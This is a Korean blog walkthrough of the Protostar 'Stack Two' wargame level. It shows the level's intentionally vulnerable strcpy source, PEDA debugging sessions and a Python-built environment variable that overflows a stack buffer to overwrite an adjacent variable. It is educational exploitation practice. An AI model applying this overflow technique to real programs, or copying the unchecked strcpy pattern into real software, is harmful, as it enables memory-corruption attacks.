Security_RNRF
STACK TWO 본문
Stack2 looks at environment variables, and how they can be set.
This level is at /opt/protostar/bin/stack2
Link - https://exploit.education/protostar/stack-two/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
해당 문제의 특이점은 "getenv" 함수이다. 환경 변수와 관련된 함수이다.
환경 변수란? 시스템에 돌아가는 변수들을 맞춰주는 역할을 하는 것이다.
현재 Linux에 있는 변수 중에 "GREENIE" 존재한다. 즉, 환경 변수가 "GREENIE"인 것을 불러와서, variable에 저장한다. 만약 환경 변수에 아무것도 없다면 에러(errx(1, "please set the GREENIE environment variable\n");)를 출력하고 종료하게 되는 구조이다. 반대로 환경 변수가 존재한다면 modified가 넘어온다.
modified와 buffer의 위치는 이전 STACK ONE과 같이 buffer가 위에 modified가 아래에 위치한다. 즉, buffer를 잘 채우면 modified를 변조할 수 있다.
다음으로 strcpy(buffer, variable); 에서 볼 수 있듯이, variable의 값을 buffer로 복사한다.
정리해보자면, 환경 변수를 적절한 크기로 세팅해서 buffer를 가득 채워서 modified까지 도달하게 해서 modified의 값을 0x0d0a0d0a로 대체시키면 성공적일 것이다.
이번 시간에는 GDB가 아닌 Peda를 사용해 볼 생각이다.
1. Peda 다운로드 - https://github.com/longld/peda
GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB
PEDA - Python Exploit Development Assistance for GDB - GitHub - longld/peda: PEDA - Python Exploit Development Assistance for GDB
github.com
root@kali:~/Desktop/protostar# git clone https://github.com/longld/peda.git ~/peda
Cloning into '/root/peda'...
remote: Enumerating objects: 382, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 382 (delta 2), reused 8 (delta 2), pack-reused 373
Receiving objects: 100% (382/382), 290.84 KiB | 7.86 MiB/s, done.
Resolving deltas: 100% (231/231), done.
root@kali:~/Desktop/protostar# echo "source ~/peda/peda.py" >> ~/.gdbinit
root@kali:~/Desktop/protostar# echo "DONE! debug your program with gdb and enjoy"
DONE! debug your program with gdb and enjoy
위의 과정을 따라하면 Peda가 칼리리눅스에 설치 완료된다.
1. 파일 생성
root@kali:~/Desktop/protostar# gedit stack2.c
2. 컴파일
root@kali:~/Desktop/protostar# gcc -z execstack -w -no-pie -o stack2 stack2.c
3. 파일 실행 및 동작 파악
root@kali:~/Desktop/protostar# ./stack2
stack2: please set the GREENIE environment variable
파악 결과, "GREENIE"가 세팅이 안되어 있다는 의미인 것 같다.
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
해당 문자열은 위의 조건문을 만족했기 때문에 출력되는 것이다.
환경 변수에 "GREENIE"를 세팅해준다. 임시로 환경 변수를 저장해주는 export라는 함수를 사용한다.
root@kali:~/Desktop/protostar# export GREENIE='AAAAAA'
그리고 파일을 다시 실행해서 결과를 확인한다.
root@kali:~/Desktop/protostar# ./stack2
Try again, you got 0x00000000
확인 결과, "GREENIE" 환경 변수가 세팅은 되었지만, 원하는 값은 아닌것을 알 수 있다.
그렇다면, 이제는 modified까지 도달을 해야할텐데, gdb를 이용해서 비교 구문을 찾아서 브레이크 포인트를 걸어주면 빠르게 확인이 가능하다.
이전에 설치한 Peda는 GDB 위의 설정 파일이라고 생각하면 된다. 즉, GDB를 실행하면 Peda가 실행된다.
root@kali:~/Desktop/protostar# gdb ./stack2
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack2...(no debugging symbols found)...done.
gdb-peda$
이제부터는 "set disassembly-flavor intel" 구문을 쳐서 intel 방식으로 자동으로 잡아준다.
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000401162 <+0>: push rbp
0x0000000000401163 <+1>: mov rbp,rsp
0x0000000000401166 <+4>: sub rsp,0x60
0x000000000040116a <+8>: mov DWORD PTR [rbp-0x54],edi
0x000000000040116d <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000401171 <+15>: lea rdi,[rip+0xe90] # 0x402008
0x0000000000401178 <+22>: call 0x401030 <getenv@plt>
0x000000000040117d <+27>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401181 <+31>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000401186 <+36>: jne 0x40119e <main+60>
0x0000000000401188 <+38>: lea rsi,[rip+0xe81] # 0x402010
0x000000000040118f <+45>: mov edi,0x1
0x0000000000401194 <+50>: mov eax,0x0
0x0000000000401199 <+55>: call 0x401060 <errx@plt>
0x000000000040119e <+60>: mov DWORD PTR [rbp-0xc],0x0
0x00000000004011a5 <+67>: mov rdx,QWORD PTR [rbp-0x8]
0x00000000004011a9 <+71>: lea rax,[rbp-0x50]
0x00000000004011ad <+75>: mov rsi,rdx
0x00000000004011b0 <+78>: mov rdi,rax
0x00000000004011b3 <+81>: call 0x401040 <strcpy@plt>
0x00000000004011b8 <+86>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004011bb <+89>: cmp eax,0xd0a0d0a
0x00000000004011c0 <+94>: jne 0x4011d0 <main+110>
0x00000000004011c2 <+96>: lea rdi,[rip+0xe77] # 0x402040
0x00000000004011c9 <+103>: call 0x401050 <puts@plt>
0x00000000004011ce <+108>: jmp 0x4011e6 <main+132>
0x00000000004011d0 <+110>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004011d3 <+113>: mov esi,eax
0x00000000004011d5 <+115>: lea rdi,[rip+0xe8d] # 0x402069
0x00000000004011dc <+122>: mov eax,0x0
0x00000000004011e1 <+127>: call 0x401070 <printf@plt>
0x00000000004011e6 <+132>: mov eax,0x0
0x00000000004011eb <+137>: leave
0x00000000004011ec <+138>: ret
End of assembler dump.
비교 구문의 위치를 확인한 결과, "0x00000000004011bb <+89>: cmp eax,0xd0a0d0a"
브레이크 포인트를 main+89에 걸어준다.
gdb-peda$ b *main+89
Breakpoint 1 at 0x4011bb
이제 실행만 하면 되지만, 환경 변수까지의 거리를 구해줘야 한다.
일반적으로 익스플로잇이 발생하는 코드들은 메모리의 거리차이가 이전 STACK-ONE과 같이 가깝게 나오지는 않는다. 상대적으로 구하기 쉽지 않은 값이다.
그렇기 때문에 Peda에서는 "pattern create"와 "pattern offset"이란 것을 만들 수 있다.
현재 사용할 pattern create를 이용해서 특정한 패턴의 문자열을 만들 수 있다. 이 패턴의 특징은 중간에 공격자가 알아볼 수 있는 문자열을 삽입함으로써 처음에서 몇번째에 떨어져 있는지를 계산할 수 있다.
Ex.)
gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ pattern offset AA2AA
AA2AA found at offset: 58
즉, "AA2AA" 부분이 58번째 떨어진 부분이라는 것을 알 수 있다.
그렇다면 비교 구문이 있는 장소의 eax의 위치를 파악한다면, 총 앞에 몇 바이트가 필요한지를 알 수 있다. 그러므로 필요한 것만 세팅할 수 있다.
테스트를 위해 환경 변수에 100 바이트의 패턴을 삽입해준다.
root@kali:~/Desktop/protostar# export GREENIE='AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
root@kali:~/Desktop/protostar# gdb ./stack2
GNU gdb (Debian 8.2-1) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack2...(no debugging symbols found)...done.
gdb-peda$ b *main+89
Breakpoint 1 at 0x4011bb
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack2
[----------------------------------registers-----------------------------------]
RAX: 0x41413341 ('A3AA')
RBX: 0x0
RCX: 0x41364141 ('AA6A')
RDX: 0x4c4141 ('AAL')
RSI: 0x7fffffffe5b0 --> 0x51004c4141364141 ('AA6AAL')
RDI: 0x7fffffffe0fe --> 0x4c4141364141 ('AA6AAL')
RBP: 0x7fffffffe0f0 ("AJAAfAA5AAKAAgAA6AAL")
RSP: 0x7fffffffe090 --> 0x7fffffffe1d8 --> 0x7fffffffe4cd ("/root/Desktop/protostar/stack2")
RIP: 0x4011bb (<main+89>: cmp eax,0xd0a0d0a)
R8 : 0x7ffff7fa9d80 --> 0x0
R9 : 0x7ffff7fa9d80 --> 0x0
R10: 0xfffffffffffff404
R11: 0x7ffff7f69a60 --> 0xfff20cc0fff20cb0
R12: 0x401080 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe1d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4011b0 <main+78>: mov rdi,rax
0x4011b3 <main+81>: call 0x401040 <strcpy@plt>
0x4011b8 <main+86>: mov eax,DWORD PTR [rbp-0xc]
=> 0x4011bb <main+89>: cmp eax,0xd0a0d0a
0x4011c0 <main+94>: jne 0x4011d0 <main+110>
0x4011c2 <main+96>: lea rdi,[rip+0xe77] # 0x402040
0x4011c9 <main+103>: call 0x401050 <puts@plt>
0x4011ce <main+108>: jmp 0x4011e6 <main+132>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe090 --> 0x7fffffffe1d8 --> 0x7fffffffe4cd ("/root/Desktop/protostar/stack2")
0008| 0x7fffffffe098 --> 0x1ffffe0c6
0016| 0x7fffffffe0a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe0a8 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe0b0 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe0b8 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe0c0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe0c8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004011bb in main ()
Peda의 다양한 정보 중에서, 우리가 궁금한 것은 eax 값에 어떤 값이 있는지이다.
확인 결과, "RAX: 0x41413341 ('A3AA')"이다. RAX는 64비트를 의미하기 때문에 표기가 그렇게 이루어진 것이다.
좀 더 정확히 eax라는 값을 확인하고 싶다면, "info reg $eax" 명령어를 통해 알 수 있다.
gdb-peda$ info reg $eax
eax 0x41413341 0x41413341
이제 해당 패턴이 어디에 위치했는지를 파악해본다.
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68
68번째 "0x0d0a0d0a" 값을 넣어주면 끝이지만, 문제가 있다. 0d0a가 캐리지 리턴으로서 아스키 값으로 엔터를 의미한다.
그러므로 해당 문제는 파이썬을 이용해서 값을 전달해 줄 것이다. 또한 리틀엔디언 방식이기 때문에 거꾸로 적어줘야 한다.
root@kali:~/Desktop/protostar# export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')
root@kali:~/Desktop/protostar# ./stack2
you have correctly modified the variable
확인 결과, 원하는 값이 정확한 위치에 들어간 것을 볼 수 있다.
마지막으로 Peda를 이용해서 세부내용을 확인해본다.
root@kali:~/Desktop/protostar# gdb ./stack2
gdb-peda$ b *main+89
Breakpoint 1 at 0x4011bb
gdb-peda$ run
Starting program: /root/Desktop/protostar/stack2
[----------------------------------registers-----------------------------------]
RAX: 0xd0a0d0a ('\n\r\n\r')
RBX: 0x0
RCX: 0xd0a0d0a ('\n\r\n\r')
RDX: 0xd0a0d ('\r\n\r')
RSI: 0x7fffffffe5b0 --> 0x51000d0a0d0a0d0a ('\n\r\n\r\n\r')
RDI: 0x7fffffffe106 --> 0x7f000d0a0d0a0d0a
RBP: 0x7fffffffe110 --> 0x4011f0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe0b0 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack2")
RIP: 0x4011bb (<main+89>: cmp eax,0xd0a0d0a)
R8 : 0x7ffff7fa9d80 --> 0x0
R9 : 0x7ffff7fa9d80 --> 0x0
R10: 0xfffffffffffff404
R11: 0x7ffff7f69a60 --> 0xfff20cc0fff20cb0
R12: 0x401080 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe1f0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4011b0 <main+78>: mov rdi,rax
0x4011b3 <main+81>: call 0x401040 <strcpy@plt>
0x4011b8 <main+86>: mov eax,DWORD PTR [rbp-0xc]
=> 0x4011bb <main+89>: cmp eax,0xd0a0d0a
0x4011c0 <main+94>: jne 0x4011d0 <main+110>
0x4011c2 <main+96>: lea rdi,[rip+0xe77] # 0x402040
0x4011c9 <main+103>: call 0x401050 <puts@plt>
0x4011ce <main+108>: jmp 0x4011e6 <main+132>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0b0 --> 0x7fffffffe1f8 --> 0x7fffffffe4e5 ("/root/Desktop/protostar/stack2")
0008| 0x7fffffffe0b8 --> 0x1ffffe0e6
0016| 0x7fffffffe0c0 ('A' <repeats 68 times>, "\n\r\n\r\n\r\n\r")
0024| 0x7fffffffe0c8 ('A' <repeats 60 times>, "\n\r\n\r\n\r\n\r")
0032| 0x7fffffffe0d0 ('A' <repeats 52 times>, "\n\r\n\r\n\r\n\r")
0040| 0x7fffffffe0d8 ('A' <repeats 44 times>, "\n\r\n\r\n\r\n\r")
0048| 0x7fffffffe0e0 ('A' <repeats 36 times>, "\n\r\n\r\n\r\n\r")
0056| 0x7fffffffe0e8 ('A' <repeats 28 times>, "\n\r\n\r\n\r\n\r")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00000000004011bb in main ()
eax에 "0xd0a0d0a ('\n\r\n\r')" 값이 들어있는것을 확인 할 수 있다.
STACK-TWO에서는 Peda 사용법과 환경 변수를 컨트롤하는 방법을 알아보았다.
'Reversing > Protostar' 카테고리의 다른 글
| STACK FIVE (0) | 2022.07.10 |
|---|---|
| STACK FOUR (0) | 2022.07.07 |
| STACK THREE (0) | 2022.07.05 |
| STACK ONE (0) | 2022.07.03 |
| STACK ZERO (0) | 2022.06.03 |